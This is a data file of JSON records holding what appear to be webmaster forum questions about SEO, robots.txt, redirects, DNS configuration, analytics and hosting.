{"id":"23465","title":"Page Rank not showing correctly everywhere?","text":"Okay, so I checked the page rank again, and http:\/\/www.namhost.com's page rank is now 4. But I get this warning: Google Pagerank for: http:\/\/www.namhost.com 4\/10 Pagerank is valid! Attention! This domain has a very little quality backlinks and you run the risk of the domain losing it's page rank on the next Google pagerank update! I used: http:\/\/www.checkpagerank.net I then used a few other checkers: http:\/\/www.whatsmypagerank.com\/pagerank- checker.php This one found my page rank to be zero. So my questions are 1. which one is correct? 2. why are they different? 3. should I attempt get rid of the +- 40 000 BAD backlinks I have, or should I focus my efforts on getting 40 000 GOOD backlinks ? i.e. Will the good backlinks trump the badlinks (copyright pending)?"}
{"id":"32499","title":"Does displaying rss feeds in different blogs help get indexed and increase page rank?","text":"I have a number of blogs that I run. One of them is old and gets good traffic so what I did is that I have placed the rss of all of the blogs onto the sidebar of each. I was wondering if this is good for SEO in terms of getting indexed faster and getting more page rank as my page rank of the old blog will flow through them into the new ones. Please help out. Thanks"}
{"id":"34637","title":"Redirect a URL to another URL with IIS 7.5","text":"I have no idea why this isn't working. I've tried creating map rules and then rewriting and redirecting the URL. I've tried just redirecting it with a simple rewrite rule and no matter what, the only time I can get it to work is if I set the match URL to match this regex `.*`. I'm trying to redirect `webmail.example.com` to `mail.example.com`. Seemed like it would have taken but a couple seconds; boy was I wrong. I'm thinking I must be doing something wrong with the regex, but I'm not sure what as when I test it it seems to work fine. <rule name=\"webmail\" patternSyntax=\"ECMAScript\" stopProcessing=\"true\"> <match url=\".*webmail.*\" \/> <conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\"> <\/conditions> <action type=\"Redirect\" url=\"https:\/\/mail.example.com:8000\" appendQueryString=\"false\" logRewrittenUrl=\"true\" \/> <\/rule>"}
{"id":"8447","title":"Looking to create a website ... need assistance on what technologies to use!","text":"First off, My group and I don't have any experience with databases or anything of that sort, only programming (not web-programming), so this post is just me wondering what things I should start researching and possibly some referral to a hosting company. The abstract idea is to have a list of things, each categorized, and each item with user-submitted reviews (made by users who are signed up with the website). Would absolutely everything be stored on a SQL database? (the long text reviews for example) Does anyone have any suggestions on some 'web frameworks' we could use to jumpstart us? What should our absolute first step be? (I was thinking about first designing the basic database? so we have something to work around...?) Should we worry about which host we choose right now, any recommendations? (would it be a trivial task to switch hosts in the future?) Thanks again, any help is appreciated!"}
{"id":"8440","title":"How to display a directory without looking like spam","text":"I need to list every city in a state (for instance, California), along with a huge list of automotive dealers per city. How do I do this on one page without looking like a link farm\/spam page to end users?"}
{"id":"12574","title":"PDF conversion on website using ASP.NET platform","text":"I want to give users an option to download the web page of my website they are currently viewing. I have searched and found 3rd party windows software which convert the pages, but I am looking for an app that I can have on my website. I am using C# on a ASP.NET platform."}
{"id":"52175","title":"Schema.org Microdata appears in testing tool, but does not appear in Google","text":"I have created a simple test page to test Schema.org Microdata. See here When tested in Google's Structured Data Testing Tool it appears as it should, displaying the address and job title below the green url in the search result. See here Now when I test this in Google, the address and job title are not displayed and it's as if the Microdata is not there at all. Has anyone else experienced this issue?"}
{"id":"58395","title":"Risk of Plaintext Email Addresses on Websites","text":"What are the risks of putting a personal email address (Gmail, in case it matters) on a personal website? A glance around any forum will show many people using \"address [at] domain.com\" instead of simply writing the address out, but it would seem to me that nearly any scraper would be able to detect and counter that tactic. What are the risks of simply putting an email, in plaintext, on a webpage (spam, phishing, etc.) and how likely\/realistic are they? Are there any methods to prevent those risks?"}
{"id":"8448","title":"I'm seeing a lot of a new format for title elements for major sites: a few tags, and only then the title of the site itself, is this now optimal SEO?","text":"I'm seeing a lot of sites go to a format similar to the one now in use by stackexchange sites (i.e. short topic - maybe a long topic - only finally the site's name). Is this optimal SEO? It seems kind weird both because I'm only begun to notice changes in this direction recently, and because it seems like it would make it harder to tell in search results which actual site you're visiting, even if the topic is one that matches. Still, sites like Facebook, StackOverflow, etc probably aren't wrong, so I'm wondering if I should try to make my sites use that format, going forwards... **Edit:** Found a more-fleshed-out duplicate: Does the order of keywords matter in a page title?"}
{"id":"53408","title":"UI library for website layout designing","text":"Is there any UI library for website layout designing like form elements, banners place holders, scroll bars etc..."}
{"id":"35856","title":"Challenge a .name registration?","text":"The Wikipedia page on .name says the following: > **Registration restrictions:** No prior restriction on registration, but > registrations can be challenged if not by or on behalf of individual with > name similar to that of domain, or fictional character in which registrant > has rights But there's no further info on how this actually works. Can a .name domain registration be challenged, and if so, how?"}
{"id":"35321","title":"Working with Google Webmaster API","text":"I'm just start working with Google webmaster API. I have a need to mark a site for removal and found nothing of doing that. How do I do that?"}
{"id":"7538","title":"iPhone site optimization: Custom viewport size","text":"I've got a site that should max out a 575px on the iphone and wanted to know what the best method is for defaulting the viewport to this size. Currently I am using this meta tag: `<meta name=\"viewport\" content=\"width=575; user-scalable=no;\">` This displays some odd behavior in that it loads fully zoomed out and then, once the page is loaded, zooms in to 575. What are the best methods to ensure that my site will surely display at 575px wide in mobile browsers?"}
{"id":"35851","title":"Wordpress Multisite (Subfolders) - Google Analytics Tracking","text":"I have a Wordpress multisite subfolder instance that I would like to track via Google Analytics. I guess optimally this would be a plugin which I could track each site in two places 1. The Main Tracking Code which totals all traffic from the Multisite instance 2. The Individual Site tracking code to see how each site specifically is doing. I think this plugin would have worked for me if I had a subdomain multisite instance: http:\/\/wordpress.org\/extend\/plugins\/google-analytics-multisite- async\/installation\/ I know I can manually place the dual tracking code (http:\/\/www.markinns.com\/articles\/full\/adding_two_google_analytics_accounts_to_one_page) but that would involve editing a theme and I have multiple sites using TwentyEleven template. I don't think I can edit the theme and not have it wreak havoc on the rest of the sites using TwentyEleven. So has anyone done this? Is there a a technique I'm missing? Is there a plugin available to do this in Multisite Subfolder installations? Is there a way to manually insert GA codes into themes which are used by multiple sites? Any insight is appreciated."}
{"id":"35329","title":"Is It Possible To Find Shortened URL Versions of a Long URL?","text":"I'm wondering if I have a URL like: www.watermintstudios.com and I want to know if anyone else has made use of a bit.ly, goo.gl or other such URL shortening service to point to that URL is there a way to find out?"}
{"id":"7537","title":"Significant number of non-HTTP requests hitting my site","text":"I'm seeing a significant number of non-HTTP requests hitting a site I just launched. They show up in the server (nginx) logs as non-ASCII and get rejected (correctly) with a 400 status. Here are some lines from the log: 95.132.198.189 - - [09\/Jan\/2011:13:53:30 -0500] \"œ$A\\x10õœ²É9J\" 400 173 \"-\" \"-\" 79.100.145.126 - - [09\/Jan\/2011:13:57:42 -0500] \"#§i²¸oYi Ṅ\\x13VJ—x·—œ\\x04N \\x1DÔvbÛè½\\x10§¬\\x1E0œ_^¼+\\x09ÜÅ\\x08DÌÃiJeT€¿æ]œr\\x1EëîyIÐ\/ßýúê5Ǹ\" 400 173 \"-\" \"-\" 79.100.145.126 - - [09\/Jan\/2011:13:58:33 -0500] \"¯Ú%ø=Œ›D@\\x12¼\\x1C†ÄÀe\\x015mˆàd˜Û%pÛÿ\" 400 173 \"-\" \"-\" What should I make of this? Is this some sort of scripted attack? Or could these be correct requests that have somehow been garbled? They're not affecting the performance of the site and I'm not seeing any other signs of attacks (e.g., no strange POSTs) so at this point I'm more curious than afraid."}
{"id":"5479","title":"HTML5 and facebook Graph API","text":"In order to use the \"og:\" meta tag of Facebook Graph, I need to add the following to the tag: xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\" xmlns:og=\"http:\/\/opengraphprotocol.org\/schema\/\" xmlns:fb=\"http:\/\/www.facebook.com\/2008\/fbml\" Since I am using HTML5 and not XHTML, do I still need to use the `xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"` part? Thanks, Danny"}
{"id":"39166","title":"Webmaster Tools - Preferred Domain and Google entries","text":"Our client has two websites with the same content: * `example.com` * `somethingelse.com` When a user searches in Google for \"something else\" the `example.com` site appears in the top 10 results on Google. What would happen if we switched the preferred domain in webmaster tools to `somethingelse.com`? Our client is hoping it will replace the \"`example.com`\" result with \"`somethingelse.com`\" but I assume this is not the case."}
{"id":"363","title":"How can I detect links which point to domain squatters?","text":"I know how to find dead links which go to 404 pages. However, these days not many links actually go dead, but instead they end up going to a domain squatter. I realise this is a tall order, but is there any way to find out whether a website is actually a domain squatter without actually going to each site with my browser and examining it to see if there is a picture of a girl with a rucksack etc.?"}
{"id":"32675","title":"How to download an MP3 or ZIP file onto mobile devices","text":"I want to be able to download digital goods to smartphone users (music in format .mp3 or .zip). But iPhone and iPad do not allow direct forced downloads. **How can I provide mobile users with digital downloads?** I use PHP. The only way I can think of to do this is to use the Dropbox Web API to transfer files to the user's Dropbox account, which then synchronizes with their mobile device. Any other suggestions would be appreciated."}
{"id":"32674","title":"How to connect to database on remote server","text":"Where there is VPN to remote server and then access to the database via local network interface, **how can one establish a remote link between one's computer (with a programme such as Visual Studio 2010) and SQL Server (e.g. 2008 R2)** ? Any attempts to create a direct link to the SQL Server are blocked. Whilst the SQL Server _can_ be configured to allow external access, this provides its own host of problems. Any help would be much appreciated."}
{"id":"19606","title":"Modify and Intergrate a custom MP3 Player","text":"This is a Flash MP3 Player I have found on internet, and I was looking for his .fla file so I can modify it and add some text on it. Do you know where I can get the source of this flash player. "}
{"id":"6172","title":"What's the proper way to handle Allow and Disallow in robots.txt?","text":"I run a fairly large-scale Web crawler. We try very hard to operate the crawler within accepted community standards, and that includes respecting robots.txt. We get very few complaints about the crawler, but when we do the majority are about our handling of robots.txt. Most often the Webmaster made a mistake in his robots.txt and we kindly point out the error. But periodically we run into grey areas that involve the handling of `Allow` and `Disallow`. The robots.txt page doesn't cover `Allow`. I've seen other pages, some of which say that crawlers use a \"first matching\" rule, and others that don't specify. That leads to some confusion. For example, Google's page about robots.txt used to have this example: User-agent: Googlebot Disallow: \/folder1\/ Allow: \/folder1\/myfile.html Obviously, a \"first matching\" rule here wouldn't work because the crawler would see the `Disallow` and go away, never crawling the file that was specifically allowed. We're in the clear if we ignore all `Allow` lines, but then we might not crawl something that we're allowed to crawl. We'll miss things. We've had great success by checking `Allow` first, and then checking `Disallow`, the idea being that `Allow` was intended to be more specific than `Disallow`. That's because, by default (i.e. in the absence of instructions to the contrary), all access is allowed. But then we run across something like this: User-agent: * Disallow: \/norobots\/ Allow: \/ The intent here is obvious, but that `Allow: \/` will cause a bot that checks `Allow` first to think it can crawl anything on the site. Even that can be worked around in this case. We can compare the matching `Allow` with the matching `Disallow` and determine that we're not allowed to crawl anything in \/norobots\/. But that breaks down in the face of wildcards: User-agent: * Disallow: \/norobots\/ Allow: \/*.html$ The question, then, is the bot allowed to crawl `\/norobots\/index.html`? The \"first matching\" rule eliminates all ambiguity, but I often see sites that show something like the old Google example, putting the more specific `Allow` _after_ the `Disallow`. That syntax requires more processing by the bot and leads to ambiguities that can't be resolved. My question, then, is what's the right way to do things? What do Webmasters expect from a well-behaved bot when it comes to robots.txt handling?"}
{"id":"32931","title":"What is the BCSI-CS-**** cookie for?","text":"I'm undertaking an audit of the cookies we use on our external sites. There's one cookie that's used by all the sites, and by different domains within the sites. It starts BCSI-CS- and has random numbers and letters. It's the same cookie on different PCs on our network. Our own sites use it and Bing Maps, Google Analytics and Google Maps on our sites use it. This cookie does not seem to appear on PCs not on our network. We've figured that it's a cookie that our proxy server uses and therefore only an internal cookie, not one that our external site users will encounter. However, googling that cookie shows a lot of sites have listed a similar cookie in their \"About our cookies\" page with the same BCSI-CS prefix. Would we be right in thinking that these sites have got it wrong, that they don't have to list this cookie? After all, when I visit these sites, the cookie that they have listed does not appear on my PC. Can anyone confirm this, or explain what the BCSI-CS cookie actually is?"}
{"id":"6171","title":"In search of open source alternative to Sharepoint","text":"Looking for suggestions on a platform whether paid or open-source that would provide a intranet-like solution for document sharing, blog, events posting, etc. Google Apps\/Doc is not an option, needs to look somewhat professional and hosted on our domain. Any suggestions or recommendations would be greatly appreciated. Thanks in advance."}
{"id":"60048","title":"Remove a site in upstream sites in Alexa","text":"Alexa has a list that's called upstream sites (\"Which sites did people visit immediately before this site?\"). Does anybody know how remove a site from this list?"}
{"id":"64851","title":"How to configure DNS for hosting a domain with 000webhost.com when purchased from whois.com?","text":"I purchased a domain from `whois.com` (`juleex.com`) and I'm trying to host it on `000webhost.com` because I'm just learning and don't need tons of anything. I changed the name servers to: * `ns01.000webhost.com` * `ns02.000webhost.com` From: * `ns1.whois.com` * `ns2.whois.com` * `ns3.whois.com` * `ns4.whois.com` However now when I scroll to the DNS management section of the myaccount part of `whois.com` it says \"your DNS management service is not configured correctly. To use this service, you must first configure your domain name to use our name servers.\" With what I changed it to in red and what was there in green with a button that reads \"fix server names automatically\". I'm so confused, I thought that's how you point a domain to the hosting services."}
{"id":"10984","title":"Drupal - after installation the website invisible","text":"I just installed Drupal. But after installation I can't see my installed site. Upon visiting the URL `http:\/\/localhost\/drupal-7.0\/` in my browser I do not get the web page as expected but see files and directories similar to FTP file browsing. Can someone explain what I have done wrong?"}
{"id":"24605","title":"Dreamweaver document settings","text":"Is there a way to change document settings in Dreamweaver like changing document background to black and plain text to white? I prefer a dark background when reading code like the snippets here. Any suggestions?"}
{"id":"60808","title":"How to remove %2F from the URL?","text":"My Technorati URL shows as `http:\/\/technorati.com\/blogs\/www.financewalk.com%2F`. How to remove `%2F` from the above URL so that it'll start working."}
{"id":"25607","title":"Pointing a subdomain to Github Pages","text":"I set up an Octopress blog on Github Pages at myusername.github.com. I now want blog.myusername.me (which currently has a Wordpress blog set up) to point to this Octopress blog. So I followed the instructions here on setting up a custom domain: * I ran `echo 'blog.myusername.me' >> source\/CNAME` in my Octopress repository, and then ran `rake generate` and `rake deploy` to deploy it to Github. * I went to Namecheap, and added a new CNAME under my myusername.me domain: \"blog -> myusername.github.com -> CNAME\". * Waited a couple hours. However, now when I go to myusername.github.com, it redirects me to blog.myusername.me (which is my old Wordpress blog), which seems like the inverse of what I want. (Going to blog.myusername.me directly still shows my Wordpress blog.) I checked http:\/\/www.whatsmydns.net\/#CNAME\/blog.myusername.me and it seems like my DNS has propagated (myusername.github.com shows up in the right-hand side). Any ideas what I'm doing wrong?"}
{"id":"59459","title":"Are there security considerations with choosing shared vs VPS vs dedicated hosting","text":"Are there security disadvantages to using a shared hosting environment instead of a VPS or dedicated server? Could using a shared server or a VPS be considered negligence in the event of a security breach on a client's software? For example, on some shared hosting I can see all the databases on the same server instance as me. I do not have permissions to access them, but I see their names in SSMS. Could a more experienced SQL Server admin use that as a good attack vector on my site that they would not have if I was using a VPS or dedicated server?"}
{"id":"65457","title":"Will Google relate keywords to those listed?","text":"Our company offers service in all of the surrounding areas but I don't want to \"keyword hoard\" so I can't list each location and each type of service offered there in the meta keywords. But, we do have our locations and service areas listed on the actual pages. So then if I were to list our services only in the meta area, would Google\/SE automatically relate them to the locations shown on the page? If not, what is the best strategy in covering these geographic areas with a list of our keywords without being penalized for listing out every location attached to every keyword we want to rank for?"}
{"id":"65454","title":"Which search engines prefer an HTML sitemap over an XML sitemap?","text":"Is there a search engine out there that prefers a full HTML sitemap over an XML one? On a site with thousands of articles, does it make sense to include a page that has links to every single page?"}
{"id":"65320","title":"Redirect to an affiliate using PHP or JavaScript redirect?","text":"I was asked to introduce a unified self hosted URL- Shortener\/Forwarder\/Tracking Service for an website that earns money from affiliates. One example I found was one of the bigger german sites for bargains. (mydealz) So I had a look at their way of doing it, and I was quite surprised. From my point of view, the only sensible way to do the forwarding and tracking is using a PHP header redirect, if 301 or 302 in my eyes is mainly a question wether you want to double track double links or not. But they do the forward using a small page using javascript `window.location.href`. But why?  Is there any advantage that I don't see? Are there any disadvantages of the PHP redirect? As far I as tested no referer are lost while using header redirect. Thanks in advance for your help."}
{"id":"56498","title":"Google Webmasters structured data errors","text":"I recently updated a wordpress blog to my own domain and have been moving everything over and coming to grips with making the site look half decent. When I run the domain through Google's Webmaster structured data, I get multiple errors. in fact, an error for every single item!!! Every error seems to have the same problem- **missing Author** and **missing Updated.** And mentions something to do with Hentry? I googled that to try and figure it out,but it pretty much made my head explode!! FYI I know nothing about CSS etc.And I know I'm a bit over my head with it all, but I think it's too late to turn back to the regular wordpress account now. ugh. So, are these errors important? and... how do I fix them?!"}
{"id":"24954","title":"Web form losing POST values in a proxy environment","text":"I have an ASP.NET form (a login page), when I POST the values to the server (windows, IIS 6), the request passes through a proxy and the POST pareameters end up getting lost and ultimately the page just refreshes as there are no POST parameters. The thing is that this is not a constant issue as sometimes you can log in fine and generally if you clear your browser temp files it then works ok. I ran Fiddler to check what's going on and basically I'm getting: * A regular POST request containing session id, POST data etc. The response (HTTP 407) contains a Proxy-Authenticate: Negotiate and Proxy-Support: Session-Based-Authentication header. * The next request to the server contains a Proxy-Authorization: Negotiate header containing a long string (base64 i think). This request does NOT contain the POST values. The response is another 407 and actually now that i look at it Fiddler displays 'HTTP\/1.1 407 Proxy Authentication Required ( Access is denied. )' as the header. * Then there's a third request that contains the Proxy-Authorization header and returns 200 OK, but of course the POST values weren't sent Subsequent requests result in a HTTP\/1.1 407 Proxy Authentication Required ( The ISA Server requires authorization to fulfill the request. Access to the Web Proxy filter is denied. ) response followed by a second successful but empty request. The client won't let me bypass the proxy as it's intermittent and all other pages in the application (that include plenty of web forms) work fine. Any ideas on what I can try?"}
{"id":"21125","title":"Basic tracking of conversion from Adwords using referrer, is it possible? (both Ads in SERP and in Content Network)","text":"Reading in AdWords Help it seems the only way to track clicks to my site from AdWords is to use the Google code snippet. If I don't want to use such snippet, and simply track the `referrer`, can we say that clicks coming from Google AdWords (either Ads in SERPs and Ads in Content Network) starts all with a certain url in the `referrer`? In other words, can we say: * when `referrer` is `http:\/\/www.google.it\/search...` or `http:\/\/www.google.it\/url...` then it's coming from organic seacrh * when `referrer` is `something else` ( **tell me what** ) then it's coming from and Ad of AdWords It would suffice for me to distinguish between who is coming form organic SERP and who is coming form click on Ad (I don't need to know which Ad or what keyword). Is there something (even if non-official) that analyzed this and you could suggest me to read?!"}
{"id":"65329","title":"Is there any difference between a 'slideshow' and a 'carousel'?","text":"Are Web \"slideshows\" and \"carousels\" the same thing? If not, what is the difference? For \"Web slideshow\" or \"carousel\", I mean HTML image galleries like: * Flexslider by WooThemes * Nivo Slider™ * Juicebox"}
{"id":"38987","title":"Drupal to Wordpress migration scope for SEO","text":"I'm migrating a drupal site to wordpress and I was wondering what the concerns are with respect to preserving google rank, etc. while assuming the page content is somewhat similar. I've set up 301 redirects, and created a new site map, but the surrounding html \/ menus, etc are different. Is this considered a concern and are there a best practice for this kind of migration?"}
{"id":"22732","title":"Are more pages in one site better for SEO?","text":"I developed a site nearly 2 years (PHP, JAVA), but I am a new SEOer. My database has almost 1M articles. I have some questions I need help with: 1. Is it as a good idea to create static pages from all the articles? 2. Are more pages in the one site better for SEO? 3. If I created each article into a static page, that could be many GBs. How do I let the search engine crawler collect my database?"}
{"id":"38983","title":"check when a page was first seen by google","text":"Is there a way to see when a page was first published, by checking when it was first cached by Google (obviously its not 100% fool proof because there is a couple of days delay in some cases but it will give you a good idea.) The only other way I could think of checking it published date is if the page and post had a publicly viable time stamp on it, but in the case I'm looking for it, it doesn't have a publicly visible time stamp."}
{"id":"57029","title":"How to inspect if flash banner does not spread malware or is harmful to site visitors?","text":"I would like to take a third party ad - flash banner on my site, I can place it as an iframe (to show a page with the banner, hosted on other domain), or I can host it myself. I have seen, when browsing other sites, that sometimes my antivirus\/anti malware software blocks the ads for being harmful... I know that flash is quite shady thing as it is possible to use it for things of a dark side. **Is there a good way of checking if flash banner has vulnerabilities, security holes or ways for the owner of it to target visitors of a site and spread malware or harm their computers?** As I understand, if there is a 'hole' in it, the bad guy under control can target visitors just on a specific time, or for specific browsers, platforms, OS'es, mobiles, countries, etc."}
{"id":"22739","title":"Free web \"caching\" services for a web service","text":"I have a web service on Google App engine whose data is updated on a daily basis. To minimize bandwidth utilization from mobile clients connecting to it, I'd like to instead have an intermediary site where the clients will be getting their data from, and minimizing hits to my service to once or twice a day only. Is there such a service I can use? I'd like to explore this \"pull\" option first, before considering \"push\" options such as publishing to a blog site or a free website host that doesn't have bandwidth caps."}
{"id":"38989","title":"Using Local Network Users in MacOS X to customise access to webpages","text":"Is it possible to use Mac OS local network users in a web application to be able to show\/hide some pages according to users privileges?"}
{"id":"31806","title":"why google ignore my links page?","text":"I have a website, where I'm loading all the data via AJAX. Since Google doesn't work with AJAX and the ways to make it AJAX-friendly are a bit odd, I thought that by creating a links page, where it links, from server side, to all the links that I'm loading in AJAX - will solve the problem. But unfortunately, that doesn't seem to work. Google Webmaster Tools shows that even though my links page discovered, the content of it - the links - are totally ignored. I can only assume that google tend to ignore links in such pages. my question is - WHY?! and furthermore, how to overcome this."}
{"id":"31801","title":"Is repeated keywords in alt attributes considered keyword stuffing?","text":"For example, I have 100 images in one page, all of them with `alt` attributes in this format: alt=\"foo pics\", alt=\"bar pics\", alt=\"foobar pics\", etc Will `pics` be considered as stuffing?"}
{"id":"16509","title":"I'm a Drupal fan - should I use Ubercart or learn a new eCommerce package?","text":"I'm a big Drupal fan which is why Ubercart is the obvious choice for me when it comes to eCommerce. I've made a couple of Ubercart sites and I haven't been massively impressed. Ubercart doesn't seem very powerful. When you need extensive business logic, it can be hard to theme and has JavaScript reliance. Admittedly I've only played with others like Magento and Zencart, but Ubercart doesn't seem to lead in its field the way Drupal does. I'm reluctant to learn a new eCommerce package due to the time required, but the JavaScript reliance alone makes me wonder if I have to."}
{"id":"37751","title":"How to Track Visitors Comming from Adwords and Disable form fields that is not on landing page","text":"There is a lead form on my website where we track from which source visitors have arrived. I wanted to disable the drop down and auto populate it with predefined data if the visitor is from adwords. This form is not on the landing page. Is there a way I could do that by reading cookie or any other way."}
{"id":"58392","title":"How can I set my robots.txt file to let bots not crawl certain folders in root directory?","text":"I have a small website with about 20 pages with .html extensions, containing unique articles I wrote consisting of about 1000 words or more. These 20 pages are the main feature of my site. **Root Directory** My root directory is structured in such a way that all 20 pages of my HTML files are in the root directory, not contained in any folder. I also have a forum installed on my website, and a PHP\/jQuery poll plugin which is kept in the root directory in their two respective folders and this is where the problem comes in **My Problem - Question 1** I mentioned earlier I only have 20 HTML files which makes up my site. However, when I do a scan of my site to generate a site map more than 70 pages shows up, yet only 20 of those 70+ pages are my own original pages I want crawled and indexed. The other 50+ files contained in the PHP poll folders and PHP forum folders are all source code files and not unique and do not contain any real content. **Should I or can I block Google from scanning those two folders containing the poll and forum files? If yes, how would I do this in my robots.txt file?** **Question 2** If I have these poll and forum folders in my root directory, and a scan of my site shows 70+ files but only 20 pages of those are my own would it have any effect on my SEO? I have purchased GoDaddy SEO visibility service with my hosting, a crappy but basic product service. When I started my site and only had those 20 HTML files, I got a SEO score of 85+ after installing my forum and poll and re- evaluating my sites SEO score the pages increased to 70+ and my SEO score dropped from 85+ to the mid 50s. I realize these tools are not always accurate but it did prickle my curiosity, leading me to ask this question. I would also like to add that my forum is rather empty at this stage, but I do enjoy the poll plugin. **Conclusion** So what should I do: * Block robots.txt from scanning those folders if so how? * Should I just remove the forum and poll folder? * Should I not worry about it, and accept products giving you a SEO score is crap?"}
{"id":"43031","title":"How to remove Ever crawled web Pages by Google","text":"I know that we can use noindex, nofollow and robots for excluding the pages from Google Index. This process takes a long long time to clean up website from Google Index. In Webmaster Tools => Index Status => Advanced => Ever crawled, How can I remove the Ever Crawled Pages by Google."}
{"id":"37757","title":"Custom eCommerce tracking","text":"I am selling different software on my website and am offering a 30 days free trial. Is there someway that I can track the trial in Google Analytics? (And maybe, after the 30 days run out if they do not order remove them from the GA data?) What would be your recommended solution here?"}
{"id":"38823","title":"rel=\"nofollow\" SEO impact","text":"I saw a technique used where there was a block with three parts: 1. Image (wrapped in an anchor tag) 2. Heading (anchor tag with heading text) 3. Paragraph (regular p tag with synopsis content) e.g. <li class=\"block\"> <a rel=\"nofollow\" class=\"thumb\" href=\"#\"><img src=\"images\/placeholder_service_thumbnail.jpg\" alt=\"\" \/><\/a> <a class=\"h3\" href=\"#\">Good SEO Heading<\/a> <p>Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu...<\/p> <\/li> With the image tag there was a `rel=\"nofollow\"` on the wrapped anchor tag. So the idea is that the users still has the ability to click the image and go to the details page, but the image link does not rank. When users click on the heading text, that is only what ranks for that specific page. Q: Is this the correct approach? Does this even do anything? What is the best practice?"}
{"id":"68027","title":"Cleanup incorrectly indexed subdomains due to wildcard DNS","text":"I have site `www.example.com` which someone previously configured with wildcard DNS records and with no 301 redirects. As you may have expected, Google's index is now full of garbage like `w.example.com`, `pop.example.com`, `ns1.example.com`, `foobar.example.com`, etc. All of the indexed subdomains are almost exact copies of the main domain, duplicating every content from the latter one. I've set up 301 redirects if requests come from everything except `www.example.com`, but seems that it is not enough because after almost three months since the redirects where set up, all the incorrect subdomains still pile up on Google's index. So the question is: what could I do to speed up this cleanup process? I have heard of sitemap assisted redirects, but some people suggest that this approach is not viable, since Webmaster Tools may reject sitemaps containing URL's causing redirects."}
{"id":"21389","title":"what are good UI ways for editing xml files in web pages?","text":"I have an xml file which contain a lot fields and sub fields, I am not sure yet, but around 100 or 200 of fields. Fields value types may need true\/false , others need drop down to select from, and others free text and some just numeric values. My questions is: From the user and usability point of view, what will be the best UI to let users manipulate this xml file from a webpage. Also if you know samples to show me this will be good as well, I don't want code I just want to know how it should look like based on your experience."}
{"id":"33984","title":"How to find out if my hosting's speed is good enough?","text":"There are lots of different online performance tests: * Google PageSpeed Insights * iWebTool Speed Test * AlertFox Page Load Time * WebPageTest Also there are several desktop\/client software such as: * ping tool * YSlow * Firebug's Net console * Fiddler * Http Watch I just want to decide if my hosting provider has a good enough performance or if I need to switch my hosting to another provider. So, which tool should I use to compare my hosting provider with other hosting providers?"}
{"id":"6270","title":"At what thresh-hold should i get my blog its own domain?","text":"Is there some kind of thresh-hold to start seriously considering buying a domain and moving away from the [name].[blogspot,etc].com? In this case I have a blog that focuses on personal miscellany (food, politics, etc); get about 110 visits, 350 pageviews, 3.6% bounce per month; have had that for a few months now; and am looking to grow. I'd like to buy my TLD since it's available, but am also wondering if switching to the TLD would drop\/obfuscate traffic. (If it matters, it's on `[name].squarespace.com` currently.) Thanks"}
{"id":"33238","title":"How to secure robots.txt file?","text":"I would like for User-agents to index my relative pages only without accessing any directory on my server. As initial thought, i had this version in mind: User-agent: * Disallow: *\/* Sitemap: http:\/\/www.mydomain.com\/sitemap.xml **My Questions:** 1. Is it correct to block all directories like that - `Disallow: *\/*`? 2. Would still search engines be able to see and index my sitemap if i disallowed all directories? 3. What are the best practices for securing the robots.txt file? **For Reference:** Here is a good tutorial for robots.txt #Add this if you want to stop Alexa from indexing your site. User-agent: ia_archiver Disallow: \/ #Add this to stop duggmirror User-agent: duggmirror Disallow: \/ #Add this to allow specific agents User-agent: Googlebot Disallow: #Add this to allow all agents while blocking specific directories User-agent: * Disallow: \/cgi-bin\/ Disallow: \/*?*"}
{"id":"41166","title":"How to integrate premium responsive html template to umbraco?","text":"How to integrate premium responsive html template to umbraco? I have been wondering, that whether there is any kind of set of standards OR Any additional code to integrate my premium html web template to umbraco cms?"}
{"id":"6272","title":"How do I reconcile my Google Analytics numbers with my Squarespace analytics?","text":"According to Squarespace, in the last month I got Page Views 259, Unique Visitors 172, and Robot Hits 1,965. According to Google Analytics it was more like 346 page views, and 97 Uniques (no data on robots). I currently have filters for self traffic (exclude home\/work) on both analytics. How do I go about reconciling the two, or believing either one?Here is a link to the exported analytics; sorry pdf"}
{"id":"17526","title":"Facebook Share Button and Counter no longer displaying any Count","text":"Is it just me or did the Facebook Share button that displays the count of shares and likes just stop working over the past few days? The sharing still works, the count of shares no longer displays. The link that is generated look like this http:\/\/www.facebook.com\/sharer.php?u= and the JavaScript file on my page is this http:\/\/static.ak.fbcdn.net\/connect.php\/js\/FB.Share I haven't changed anything and this has worked for years"}
{"id":"17292","title":"Some easy way to abandon Blogger sites to get more control over things such as DNS?","text":"I am fed up Blogger's misleading error reports. The issue looks like this simple here (a few text file settings) but Blogger requires me something impossible that some other blogger user preserving my domain should stop using my domain (apparently just one line to fix), totally impossible for me (I do not know the email of the preserver and I am tired to start up some official procedure against the other user). So I want some substitutes. If I export my Blogger XML content -- can I easily use it with independent hosting with my comp?I mean whether there are some service that can read the Blogger XML and I can install it to my server? Btw I think the \"other user\" is the old version of the site with different url that is now removed. I think the real problem is messed up DNS handling in Blogger. Any idea how I can privately contact blogger devs about the issue?"}
{"id":"17521","title":"Recording audio from webpage?","text":"I'm looking for a way to record audio from somebody on a page on my site - any recommendations? Sorry if I haven't expressed that very clearly - please edit if not! Ideally looking for a new startup who is doing it rather than a little plugin, but no big deal which! Thanks, much appreciated."}
{"id":"67102","title":"See last visited pages in Google Analytics","text":"Is it possible to see which pages were visited when? I want to see which pages where visited most recently. Can't find a way to see this in Google Analytics."}
{"id":"4830","title":"how to promote a web app?","text":"i'm quite surprized this hasn't been asked yet so for a given web app and a given set of potential users of this web app the goal would be to reach this set of potential users. how to achieve this?"}
{"id":"34887","title":"Mod rewrite - redirecting url with certain parameter to new url","text":"I need some help redirecting a url with particular parameter value to a new url. For example how can i redirect these two urls with id 123 and 345 to a new url? Redirect * `http:\/\/testserver.xyz.com\/abc\/content\/content.jsp?contentId=123` * `http:\/\/testserver.xyz.com\/abc\/content\/content.jsp?contentId=345` to * `https:\/\/newpage.silkroad.com\/`"}
{"id":"7995","title":"removing robots.txt","text":"Will removing robots.txt make the website 'searchable' again. Curious if you had a robots.txt to avoid indexing, but changed your mind and wanted to get indexed."}
{"id":"11635","title":"isp that serves international customers . possible?","text":"I do not know if it is possible to find an isp, maybe in america or asia, that provides services to international clients i.e clients outside their region, possibly in africa. i believe it is possible. can anyone help?"}
